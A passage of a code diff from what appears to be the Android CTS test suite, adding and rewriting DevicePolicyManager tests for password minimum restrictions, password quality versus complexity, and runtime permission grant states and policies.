+    private static final int TEST_PASSWORD_LENGTH_LOW = 2;
+    private static final String[] METHOD_LIST = {
+            "PasswordMinimumLength",
+            "PasswordMinimumUpperCase",
+            "PasswordMinimumLowerCase",
+            "PasswordMinimumLetters",
+            "PasswordMinimumNumeric",
+            "PasswordMinimumSymbols",
+            "PasswordMinimumNonLetter",
+            "PasswordHistoryLength"};
+
+    private DevicePolicyManager mParentDpm;
+    private int mCurrentAdminPreviousPasswordQuality;
+    private int mParentPreviousPasswordQuality;
+    private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
+    private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        mCurrentAdminPreviousPasswordQuality =
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        for (String method : METHOD_LIST) {
+            mCurrentAdminPreviousPasswordRestriction
+                    .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
+            mParentPreviousPasswordRestriction
+                    .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    mCurrentAdminPreviousPasswordRestriction.get(i));
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    mCurrentAdminPreviousPasswordRestriction.get(i));
+        }
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                mCurrentAdminPreviousPasswordQuality);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
+        super.tearDown();
+    }
+
+    public void testPasswordMinimumRestriction() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + 2 * i);
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(
+                    getMethodName(METHOD_LIST[i])
+                            + " failed to get expected value on mDevicePolicyManager.",
+                    TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(
+                    getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
+                    TEST_PASSWORD_LENGTH + 2 * i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    public void testSetPasswordMinimumRestrictionWithNull() {
+        // Test with mDevicePolicyManager.
+        for (String method : METHOD_LIST) {
+            try {
+                invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
+                fail("Exception should have been thrown for null admin ComponentName");
+            } catch (Exception e) {
+                if (!(e.getCause() instanceof NullPointerException)) {
+                    fail("Failed to execute set method: " + setMethodName(method));
+                }
+                // Expected to throw NullPointerException.
+            }
+        }
+
+        // Test with mParentDpm.
+        for (String method : METHOD_LIST) {
+            try {
+                invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
+                fail("Exception should have been thrown for null admin ComponentName");
+            } catch (Exception e) {
+                if (!(e.getCause() instanceof NullPointerException)) {
+                    fail("Failed to execute set method: " + setMethodName(method));
+                }
+                // Expected to throw NullPointerException.
+            }
+        }
+    }
+
+    public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            // Check getMethod with null admin. It should return the aggregated value (which is the
+            // only value set so far).
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH_LOW + i);
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+
+            // Set strict password minimum restriction using parent instance.
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+
+            // Set strict password minimum restriction on current admin.
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            // Set password minimum restriction using parent instance.
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH_LOW + i);
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    /**
+     * Calls dpm.set{methodName} with given component name and length arguments using reflection.
+     */
+    private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
+            ComponentName componentName, int length) throws Exception {
+        final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
+                ComponentName.class, int.class);
+        setMethod.invoke(dpm, componentName, length);
+    }
+
+    /**
+     * Calls dpm.get{methodName} with given component name using reflection.
+     */
+    private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
+            ComponentName componentName) throws Exception {
+        final Method getMethod =
+                DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
+        return (int) getMethod.invoke(dpm, componentName);
+    }
+
+    private String setMethodName(String methodName) {
+        return "set" + methodName;
+    }
+
+    private String getMethodName(String methodName) {
+        return "get" + methodName;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
new file mode 100644
index 0000000..fc4213e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+
+/** Test combination of quality and complexity. */
+public class PasswordQualityAndComplexityTest extends BaseDeviceAdminTest {
+
+    private DevicePolicyManager mParentDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        clearQualityAndComplexity(mDevicePolicyManager);
+        clearQualityAndComplexity(mParentDpm);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        clearQualityAndComplexity(mDevicePolicyManager);
+        clearQualityAndComplexity(mParentDpm);
+        super.tearDown();
+    }
+
+    public void testCannotSetComplexityWithQualityOnParent() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(
+                PASSWORD_COMPLEXITY_NONE);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+        assertThrows(IllegalStateException.class, () ->
+                mDevicePolicyManager.setRequiredPasswordComplexity(
+                        DevicePolicyManager.PASSWORD_COMPLEXITY_LOW));
+    }
+
+    public void testCannotSetQualityOnParentWithComplexity() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(
+                DevicePolicyManager.PASSWORD_COMPLEXITY_LOW);
+
+        assertThrows(IllegalStateException.class, () ->
+                mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                        PASSWORD_QUALITY_SOMETHING));
+    }
+
+    private static void clearQualityAndComplexity(DevicePolicyManager dpm) {
+        // Clear quality
+        dpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        // Clear complexity
+        dpm.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 87d6fd5..87ab51a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -17,31 +17,31 @@
 
 import static android.Manifest.permission.READ_CONTACTS;
 import static android.Manifest.permission.WRITE_CONTACTS;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_PROMPT;
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
 import android.Manifest.permission;
-import android.app.AppOpsManager;
 import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.UiWatcher;
-import android.support.test.uiautomator.Until;
-import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
+import com.android.cts.devicepolicy.PermissionBroadcastReceiver;
+import com.android.cts.devicepolicy.PermissionUtils;
+
 import com.google.android.collect.Sets;
 
 import java.util.Set;
-import java.util.concurrent.ArrayBlockingQueue;
-import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -49,29 +49,21 @@
  * Test Runtime Permissions APIs in DevicePolicyManager.
  */
 public class PermissionsTest extends BaseDeviceAdminTest {
+
     private static final String TAG = "PermissionsTest";
 
-    private static final String PERMISSION_APP_PACKAGE_NAME
-            = "com.android.cts.permissionapp";
-    private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
-            "com.android.cts.launcherapps.simplepremapp";
+    private static final String PERMISSION_APP_PACKAGE_NAME = "com.android.cts.permissionapp";
+    private static final String PRE_M_APP_PACKAGE_NAME
+            = "com.android.cts.launcherapps.simplepremapp";
+    private static final String PERMISSIONS_ACTIVITY_NAME
+            = PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
     private static final String CUSTOM_PERM_A_NAME = "com.android.cts.permissionapp.permA";
     private static final String CUSTOM_PERM_B_NAME = "com.android.cts.permissionapp.permB";
     private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
 
-    private static final String PERMISSIONS_ACTIVITY_NAME
-            = PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
-    private static final String ACTION_CHECK_HAS_PERMISSION
-            = "com.android.cts.permission.action.CHECK_HAS_PERMISSION";
-    private static final String ACTION_REQUEST_PERMISSION
-            = "com.android.cts.permission.action.REQUEST_PERMISSION";
     private static final String ACTION_PERMISSION_RESULT
             = "com.android.cts.permission.action.PERMISSION_RESULT";
-    private static final String EXTRA_PERMISSION
-            = "com.android.cts.permission.extra.PERMISSION";
-    private static final String EXTRA_GRANT_STATE
-            = "com.android.cts.permission.extra.GRANT_STATE";
-    private static final int PERMISSION_ERROR = -2;
+
     private static final BySelector CRASH_POPUP_BUTTON_SELECTOR = By
             .clazz(android.widget.Button.class.getName())
             .text("OK")
@@ -80,17 +72,20 @@
             .clazz(android.widget.TextView.class.getName())
             .pkg("android");
     private static final String CRASH_WATCHER_ID = "CRASH";
+    private static final String AUTO_GRANTED_PERMISSIONS_CHANNEL_ID =
+            "alerting auto granted permissions";
 
     private static final Set<String> LOCATION_PERMISSIONS = Sets.newHashSet(
             permission.ACCESS_FINE_LOCATION,
             permission.ACCESS_BACKGROUND_LOCATION,
             permission.ACCESS_COARSE_LOCATION);
 
-    public static final String AUTO_GRANTED_PERMISSIONS_CHANNEL_ID =
-            "alerting auto granted permissions";
+    // TODO: Augment with more permissions
+    private static final Set<String> SENSORS_PERMISSIONS = Sets.newHashSet(
+            permission.ACCESS_FINE_LOCATION);
+
 
     private PermissionBroadcastReceiver mReceiver;
-    private PackageManager mPackageManager;
     private UiDevice mDevice;
 
     @Override
@@ -98,7 +93,6 @@
         super.setUp();
         mReceiver = new PermissionBroadcastReceiver();
         mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_PERMISSION_RESULT));
-        mPackageManager = mContext.getPackageManager();
         mDevice = UiDevice.getInstance(getInstrumentation());
     }
 
@@ -109,391 +103,406 @@
         super.tearDown();
     }
 
-    /** Return values of {@link #checkPermission} */
-    int PERMISSION_DENIED = PackageManager.PERMISSION_DENIED;
-    int PERMISSION_GRANTED = PackageManager.PERMISSION_GRANTED;
-    int PERMISSION_DENIED_APP_OP = PackageManager.PERMISSION_DENIED - 1;
+    public void testPermissionGrantStateDenied() throws Exception {
+        setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
 
-    /**
-     * Correctly check a runtime permission. This also works for pre-m apps.
-     */
-    private int checkPermission(String permission, int uid, String packageName) {
-        if (mContext.checkPermission(permission, -1, uid) == PackageManager.PERMISSION_DENIED) {
-            return PERMISSION_DENIED;
+        assertPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+        assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testPermissionGrantStateDenied_permissionRemainsDenied() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+
+            assertNoPermissionFromActivity(READ_CONTACTS);
+
+            // Should stay denied
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
+
+            assertNoPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
         }
+    }
 
-        if (mContext.getSystemService(AppOpsManager.class).noteProxyOpNoThrow(
-                AppOpsManager.permissionToOp(permission), packageName, uid, null, null)
-                != AppOpsManager.MODE_ALLOWED) {
-            return PERMISSION_DENIED_APP_OP;
+    public void testPermissionGrantStateDenied_mixedPolicies() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+
+            // Check no permission by launching an activity and requesting the permission
+            // Should stay denied if grant state is denied
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
         }
-
-        return PERMISSION_GRANTED;
     }
 
-    public void testPermissionGrantState() throws Exception {
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertPermissionGrantState(PackageManager.PERMISSION_DENIED);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+    public void testPermissionGrantStateDenied_otherPermissionIsGranted() throws Exception {
+        int grantStateA = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, CUSTOM_PERM_A_NAME);
+        int grantStateB = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, CUSTOM_PERM_B_NAME);
+        try {
+            setPermissionGrantState(CUSTOM_PERM_A_NAME, PERMISSION_GRANT_STATE_GRANTED);
+            setPermissionGrantState(CUSTOM_PERM_B_NAME, PERMISSION_GRANT_STATE_DENIED);
 
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        // Should stay denied
-        assertPermissionGrantState(PackageManager.PERMISSION_DENIED);
+            assertPermissionGrantState(CUSTOM_PERM_A_NAME, PERMISSION_GRANT_STATE_GRANTED);
+            assertPermissionGrantState(CUSTOM_PERM_B_NAME, PERMISSION_GRANT_STATE_DENIED);
 
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-        assertPermissionGrantState(PackageManager.PERMISSION_GRANTED);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        // Should stay granted
-        assertPermissionGrantState(PackageManager.PERMISSION_GRANTED);
+            /*
+             * CUSTOM_PERM_A_NAME and CUSTOM_PERM_B_NAME are in the same permission group and one is
+             * granted the other one is not.
+             *
+             * It should not be possible to get the permission that was denied via policy granted by
+             * requesting it.
+             */
+            assertCannotRequestPermissionFromActivity(CUSTOM_PERM_B_NAME);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(CUSTOM_PERM_A_NAME, grantStateA);
+            setPermissionGrantState(CUSTOM_PERM_B_NAME, grantStateB);
+        }
     }
 
-    public void testPermissionPolicy() throws Exception {
-        // reset permission to denied and unlocked
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+    public void testPermissionGrantStateGranted() throws Exception {
+        setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
 
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-        // permission should be locked, so changing the policy should not change the grant state
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-
-        // reset permission to denied and unlocked
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-        // permission should be locked, so changing the policy should not change the grant state
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
+        assertPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
     }
 
-    public void testPermissionMixedPolicies() throws Exception {
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+    public void testPermissionGrantStateGranted_permissionRemainsGranted() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
 
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+            assertHasPermissionFromActivity(READ_CONTACTS);
 
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
+            // Should stay granted
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
 
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
+            assertHasPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+        }
     }
 
-    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
-        // set policy to autogrant
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        // both permissions should be granted
-        assertPermissionRequest(READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
-        assertPermissionRequest(WRITE_CONTACTS, PackageManager.PERMISSION_GRANTED);
+    public void testPermissionGrantStateGranted_mixedPolicies() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
+
+            // Check permission by launching an activity and requesting the permission
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
+        }
     }
 
-    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted() throws Exception {
-        assertSetPermissionGrantState(CUSTOM_PERM_A_NAME,
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-        assertSetPermissionGrantState(CUSTOM_PERM_B_NAME,
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-
-        /*
-         * CUSTOM_PERM_A_NAME and CUSTOM_PERM_B_NAME are in the same permission group and one is
-         * granted the other one is not.
-         *
-         * It should not be possible to get the permission that was denied via policy granted by
-         * requesting it.
-         */
-        assertPermissionRequest(CUSTOM_PERM_B_NAME, PackageManager.PERMISSION_DENIED);
-    }
-
-    @Suppress // Flakey.
-    public void testPermissionPrompts() throws Exception {
-        // register a crash watcher
-        mDevice.registerWatcher(CRASH_WATCHER_ID, new UiWatcher() {
-            @Override
-            public boolean checkForCondition() {
-                UiObject2 button = mDevice.findObject(CRASH_POPUP_BUTTON_SELECTOR);
-                if (button != null) {
-                    UiObject2 text = mDevice.findObject(CRASH_POPUP_TEXT_SELECTOR);
-                    Log.d(TAG, "Removing an error dialog: " + text != null ? text.getText() : null);
-                    button.click();
-                    return true;
-                }
-                return false;
-            }
-        });
-        mDevice.runWatchers();
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED, "permission_deny_button");
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED, "permission_allow_button");
-    }
-
-    public void testPermissionUpdate_setDeniedState() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-    }
-
-    public void testPermissionUpdate_setAutoDeniedPolicy() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-    }
-
-    public void testPermissionUpdate_checkDenied() throws Exception {
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-        assertPermissionGrantState(PackageManager.PERMISSION_DENIED);
-    }
-
-    public void testPermissionUpdate_setGrantedState() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
